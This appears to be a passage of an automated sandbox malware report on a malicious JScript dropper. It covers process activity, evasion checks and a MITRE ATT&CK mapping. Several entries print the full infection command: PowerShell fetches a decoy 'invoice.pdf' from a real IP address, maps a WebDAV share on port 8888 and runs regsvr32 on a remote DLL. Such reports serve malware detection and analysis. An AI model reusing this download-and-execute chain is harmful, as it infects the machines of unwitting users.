Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\7784.js.csv");ITextStream.WriteLine(" entry:7913 f:cghgcyg");ITextStream.WriteLine(" exec:2 f:cghgcyg");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3966			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5922			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4424	Thread sleep count: 3966 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4424	Thread sleep count: 5922 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2452	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3712	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 4216	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6772	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2206030704.0000024F7AB6B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2205707786.0000024F7AB08000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3419061140.000001B23F255000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3417522842.000001B239C2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3419015794.000001B23F242000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2206030704.0000024F7AB6B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWG

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
